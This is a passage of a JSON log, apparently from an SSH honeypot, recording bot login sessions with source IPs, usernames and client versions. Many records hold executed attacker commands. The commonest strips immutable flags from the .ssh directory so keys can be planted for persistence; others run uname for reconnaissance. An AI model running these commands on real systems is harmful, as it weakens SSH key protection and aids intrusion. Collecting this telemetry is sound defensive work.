  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:49:05.058938+00:00",
  "ended_at": "2026-08-27T13:49:06.283946+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1a40f507-b172-4cf9-b40e-fffb05055beb",
  "name": "gloomy-snowy-ferret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 50066,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 187,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T13:48:47.561581+00:00",
  "ended_at": "2026-08-27T13:48:47.656051+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 737
 },
 {
  "id": "3fd7cb29-d2f9-4c71-869f-a979211ddcc8",
  "name": "tender-solar-yak",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 46622,
  "username": "user10",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:48:45.407309+00:00",
  "ended_at": "2026-08-27T13:48:46.888457+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ad7d55e0-696c-4be4-855f-605892ba80a6",
  "name": "hazy-hearty-peccary",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 45726,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:48:42.002055+00:00",
  "ended_at": "2026-08-27T13:48:43.752645+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5f740495-648d-4960-a604-7370de3c5345",
  "name": "sleepy-merry-curlew",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.57.121.112",
  "src_port": 21998,
  "username": "christofer",
  "client_version": "SSH-2.0-PuTTY_Release_0.84",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:47:56.867888+00:00",
  "ended_at": "2026-08-27T13:47:57.265263+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fd0e2781-f91d-49c5-812e-65104e405e6f",
  "name": "barren-vaulted-cardinal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "201.249.166.171",
  "src_port": 44270,
  "username": "jason",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 484,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:47:42.693713+00:00",
  "ended_at": "2026-08-27T13:47:43.374431+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2050
 },
 {
  "id": "8c811e63-4630-436e-a585-f09230d41215",
  "name": "emerald-daring-tern",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 48476,
  "username": "jason",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:47:31.959720+00:00",
  "ended_at": "2026-08-27T13:47:33.524254+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f96f3c37-d009-42e6-8e59-fbc774162407",
  "name": "feathered-tawny-quokka",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 46682,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:47:29.579054+00:00",
  "ended_at": "2026-08-27T13:47:31.200779+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4f0679fd-0de7-4821-8a97-c666f6559bf6",
  "name": "placid-smooth-ibex",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.4.145.50",
  "src_port": 48974,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 833,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:47:13.006250+00:00",
  "ended_at": "2026-08-27T13:47:14.698382+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2128
 },
 {
  "id": "504796be-5d22-4b06-8aae-695833d3fdac",
  "name": "orderly-upland-polecat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 50482,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:46:51.074859+00:00",
  "ended_at": "2026-08-27T13:46:52.350705+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1c8804bc-4d51-459c-84ea-b29e36170386",
  "name": "cobalt-ashen-catbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 49844,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:46:48.506330+00:00",
  "ended_at": "2026-08-27T13:46:49.415244+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bbab5769-4059-4800-8671-673025db69b4",
  "name": "gallant-jaunty-marmot",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 64433,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:46:42.901295+00:00",
  "ended_at": "2026-08-27T13:47:10.591420+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c1d61d73-1b49-4235-b367-8e10e936e78b",
  "name": "fringed-granite-flamingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "201.249.166.171",
  "src_port": 55924,
  "username": "sammy",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 449,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:46:10.305836+00:00",
  "ended_at": "2026-08-27T13:46:11.078524+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2047
 },
 {
  "id": "7d61eacf-3d96-430d-9c4c-c22d310e8623",
  "name": "steady-dusty-camel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 59130,
  "username": "sammy",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:45:59.139886+00:00",
  "ended_at": "2026-08-27T13:46:00.079330+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dde1600a-ff14-4666-ab36-853efe9c1d17",
  "name": "misty-vivid-sloth",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 57442,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:45:56.890475+00:00",
  "ended_at": "2026-08-27T13:45:58.426043+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "be430fc9-3418-4120-a9a2-95dfd66d578f",
  "name": "glassy-languid-raven",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.4.145.50",
  "src_port": 53042,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 837,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:45:26.904360+00:00",
  "ended_at": "2026-08-27T13:45:28.490199+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2117
 },
 {
  "id": "849d3afd-8756-4ba5-a805-4ffac8de3c93",
  "name": "feathered-balmy-skylark",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 36198,
  "username": "xumm",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 209,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T13:45:18.331554+00:00",
  "ended_at": "2026-08-27T13:45:18.436220+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 738
 },
 {
  "id": "0ba01b1a-465c-4c0c-833c-680a95753cbe",
  "name": "polar-ginger-onager",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 54788,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:45:06.659432+00:00",
  "ended_at": "2026-08-27T13:45:07.816672+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5701a0f0-0f32-4c57-b899-db7a0a34a067",
  "name": "lawful-nimble-eagle",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 53988,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:45:03.318300+00:00",
  "ended_at": "2026-08-27T13:45:05.001412+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8ff95848-2fb8-4871-a4f7-8de3e86edf0a",
  "name": "salty-sandy-roebuck",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "156.59.26.98",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 Version/17.0 Safari/605.1.15",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:44:35.129711+00:00",
  "ended_at": "2026-08-27T14:00:13.710320+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5449c50b-b2d5-4e74-8999-89b428743c96",
  "name": "sunlit-creaky-penguin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.4.145.50",
  "src_port": 57110,
  "username": "halo",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 834,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:43:34.225939+00:00",
  "ended_at": "2026-08-27T13:43:35.031718+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2049
 },
 {
  "id": "ff8e5136-d7d2-4ab6-b7bf-c216847aeb70",
  "name": "knotted-civil-caribou",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 58894,
  "username": "halo",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:43:18.238712+00:00",
  "ended_at": "2026-08-27T13:43:19.103972+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bc929d09-d53f-47aa-a72e-1bdb2529a2e8",
  "name": "feathered-twilight-impala",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 57994,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:43:14.675518+00:00",
  "ended_at": "2026-08-27T13:43:16.565823+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "20e0724d-ce14-49cd-a927-346a6bc8b7d5",
  "name": "blithe-ruddy-cuckoo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 60534,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:43:00.824126+00:00",
  "ended_at": "2026-08-27T13:43:07.094550+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6324f54a-15fa-4430-8223-58acceaacb0f",
  "name": "noble-dapper-gull",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "113.191.145.50",
  "src_port": 59067,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:42:20.865473+00:00",
  "ended_at": "2026-08-27T13:42:25.538072+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ffbd3c80-22c2-4087-94d3-dbd6ffeb7027",
  "name": "golden-honest-gull",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 60228,
  "username": "xumm",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 209,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T13:41:48.240227+00:00",
  "ended_at": "2026-08-27T13:41:48.344681+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 738
 },
 {
  "id": "7e98cbe3-8bbf-4116-a881-9aae1f9c9373",
  "name": "granite-icy-fossa",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 34968,
  "username": "simpel",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:41:32.994431+00:00",
  "ended_at": "2026-08-27T13:41:34.313672+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "795a6bd8-db1a-4b63-88d6-cfd68e3ba3cc",
  "name": "ancient-plush-badger",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 33912,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:41:29.210755+00:00",
  "ended_at": "2026-08-27T13:41:31.325656+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "232b3d49-58bb-4c88-8c35-152b08225734",
  "name": "stormy-gleaming-godwit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.4.145.50",
  "src_port": 32952,
  "username": "simpel",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:41:26.455100+00:00",
  "ended_at": "2026-08-27T13:41:27.285082+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "e58b1d8c-63ee-4b82-8bd2-ab29f33db6d9",
  "name": "sincere-mellow-vole",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "216.73.216.122",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:41:22.500913+00:00",
  "ended_at": "2026-08-27T13:57:13.654169+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a0da66dc-1f8b-41b6-bc7a-b835cd42babe",
  "name": "wooded-emerald-heron",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "120.48.33.69",
  "src_port": 49468,
  "username": "hieu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:40:50.124803+00:00",
  "ended_at": "2026-08-27T13:44:51.953448+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "ce849b76-8909-425b-80e9-5b5c62f84f83",
  "name": "brisk-stormy-alpaca",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.4.145.50",
  "src_port": 37034,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 827,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:40:15.293996+00:00",
  "ended_at": "2026-08-27T13:40:16.146140+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2095
 },
 {
  "id": "ae88c9bc-81bc-4548-9f19-ded6c0846091",
  "name": "nameless-vaulted-porcupine",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 39020,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:39:58.641193+00:00",
  "ended_at": "2026-08-27T13:40:00.485678+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8dc47467-ee3a-4411-8bde-3437df057fac",
  "name": "ginger-electric-bowerbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 37938,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:39:55.181746+00:00",
  "ended_at": "2026-08-27T13:39:56.996212+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bbec67c6-7071-4f6b-b5d6-627c9158525b",
  "name": "spirited-candid-rook",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 39096,
  "username": "xumm",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 210,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T13:38:27.471345+00:00",
  "ended_at": "2026-08-27T13:38:27.572345+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 738
 },
 {
  "id": "1276b334-d8f4-44cb-8043-67c41dc46e0b",
  "name": "courtly-languid-tapir",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "164.92.161.148",
  "src_port": 53940,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 314,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:38:14.619040+00:00",
  "ended_at": "2026-08-27T13:38:15.269839+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2046
 },
 {
  "id": "347b6ca1-7307-48a9-baf5-0be967f4b715",
  "name": "nimble-dutiful-penguin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "164.92.161.148",
  "src_port": 53956,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:38:06.779858+00:00",
  "ended_at": "2026-08-27T13:38:07.859605+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "547dd0d7-55c6-488b-9ffe-ea18beee5aaf",
  "name": "ivory-gleaming-marten",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "164.92.161.148",
  "src_port": 53944,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:38:04.487353+00:00",
  "ended_at": "2026-08-27T13:38:06.165411+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a98dcfac-0eb4-4c3e-ab36-64050a63c4a2",
  "name": "earnest-plucky-crossbill",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 46602,
  "username": "student",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:37:52.676423+00:00",
  "ended_at": "2026-08-27T13:37:54.007717+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8b81f265-04d0-428f-89ae-53a81aa90ad7",
  "name": "polar-solemn-serval",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 57280,
  "username": "centos",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 199,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T13:35:04.990130+00:00",
  "ended_at": "2026-08-27T13:35:05.090572+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 738
 },
 {
  "id": "9b6fd810-e1d0-4ee1-8206-8a91e8c2ee4e",
  "name": "leafy-scarlet-nightjar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 52358,
  "username": "manasa",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:34:40.913339+00:00",
  "ended_at": "2026-08-27T13:34:42.722497+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bb15d24c-c6df-4f3b-bde5-f6e47f5a7d60",
  "name": "frank-weathered-seal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 47590,
  "username": "zhenshan",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 198,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T13:31:49.746095+00:00",
  "ended_at": "2026-08-27T13:31:49.846699+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 738
 },
 {
  "id": "56a3df3c-7288-451f-97b1-2425386c8d69",
  "name": "restless-thawing-turnstone",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 41416,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 196,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T13:28:29.023148+00:00",
  "ended_at": "2026-08-27T13:28:29.120002+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 738
 },
 {
  "id": "bd0654fe-eab4-4657-b2dc-9836b47b4a66",
  "name": "distant-fickle-pika",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 36984,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 209,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T13:25:10.581147+00:00",
  "ended_at": "2026-08-27T13:25:10.689048+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 738
 },
 {
  "id": "a805fd19-7bce-4f3a-b527-2556806387ae",
  "name": "blunt-oaken-jaguar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "113.191.145.50",
  "src_port": 54995,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:23:52.231016+00:00",
  "ended_at": "2026-08-27T13:23:54.100337+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d02143b9-de4c-4dee-9576-5ee4e010bf68",
  "name": "deft-hearty-saola",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 51308,
  "username": "leaf",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 629,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T13:21:51.595120+00:00",
  "ended_at": "2026-08-27T13:21:52.272416+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 738
 },
 {
  "id": "20154399-a6a7-4691-ae9f-971c16746413",
  "name": "tender-brave-gecko",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 53834,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:20:28.672004+00:00",
  "ended_at": "2026-08-27T13:20:53.249828+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b40b8116-f3c0-40d3-af47-d3d8cd8b2a2a",
  "name": "windswept-emerald-bushbaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 59562,
  "username": "xiwen",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 211,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T13:18:28.959116+00:00",
  "ended_at": "2026-08-27T13:18:29.063994+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 738
 },
 {
  "id": "c74aaf86-4a49-48b2-b67d-3e7aa8321dce",
  "name": "loyal-salty-agouti",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 58334,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 208,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T13:15:17.023212+00:00",
  "ended_at": "2026-08-27T13:15:17.127766+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 737
 },
 {
  "id": "bef0865b-c7c3-44f1-92bb-abb600be2cfd",
  "name": "gallant-smooth-quail",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 63176,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
